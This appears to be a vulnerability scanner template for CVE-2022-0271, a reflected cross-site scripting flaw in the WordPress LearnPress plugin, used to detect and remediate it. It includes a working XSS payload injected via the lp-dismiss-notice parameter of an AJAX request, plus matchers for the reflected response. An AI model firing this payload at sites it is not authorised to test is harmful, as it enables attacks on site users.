52 lines
1.7 KiB
YAML
52 lines
1.7 KiB
YAML
id: CVE-2022-0271
|
|
|
|
info:
|
|
name: LearnPress <4.1.6 - Cross-Site Scripting
|
|
author: Akincibor
|
|
severity: medium
|
|
description: |
|
|
WordPress LearnPress plugin before 4.1.6 contains a cross-site scripting vulnerability. It does not sanitize and escape the lp-dismiss-notice before outputting it back via the lp_background_single_email AJAX action.
|
|
remediation: |
|
|
Upgrade LearnPress to version 4.1.6 or later to mitigate this vulnerability.
|
|
reference:
|
|
- https://wpscan.com/vulnerability/ad07d9cd-8a75-4f7c-bbbe-3b6b89b699f2
|
|
- https://cve.mitre.org/cgi-bin/cvename.cgi?name=CVE-2022-0271
|
|
- https://nvd.nist.gov/vuln/detail/cve-2022-0271
|
|
classification:
|
|
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:R/S:C/C:L/I:L/A:N
|
|
cvss-score: 6.1
|
|
cve-id: CVE-2022-0271
|
|
cwe-id: CWE-79
|
|
epss-score: 0.00122
|
|
epss-percentile: 0.46224
|
|
cpe: cpe:2.3:a:thimpress:learnpress:*:*:*:*:*:wordpress:*:*
|
|
metadata:
|
|
max-request: 1
|
|
vendor: thimpress
|
|
product: learnpress
|
|
framework: wordpress
|
|
tags: wp,wp-plugin,wordpress,cve,cve2022,learnpress,wpscan,xss
|
|
|
|
http:
|
|
- method: GET
|
|
path:
|
|
- '{{BaseURL}}/wp-admin/admin-ajax.php?action=lp_background_single_email&lp-dismiss-notice=xxx<img%20src=x%20onerror=alert(document.domain)>'
|
|
|
|
matchers-condition: and
|
|
matchers:
|
|
- type: word
|
|
part: body
|
|
words:
|
|
- '{"dismissed":"xxx<img src=x onerror=alert(document.domain)>"}'
|
|
|
|
- type: word
|
|
part: header
|
|
words:
|
|
- "text/html"
|
|
|
|
- type: status
|
|
status:
|
|
- 200
|
|
|
|
# digest: 490a00463044022006c478b06ef014032508ca754688df26c8f1e8bdc06d0b0c6b1813de3d3be294022062ff24d7019b950513e21307fb06b76bb45772e771db39fb3d1ff507ac2414bf:922c64590222798bb761d5b6d8e72950
|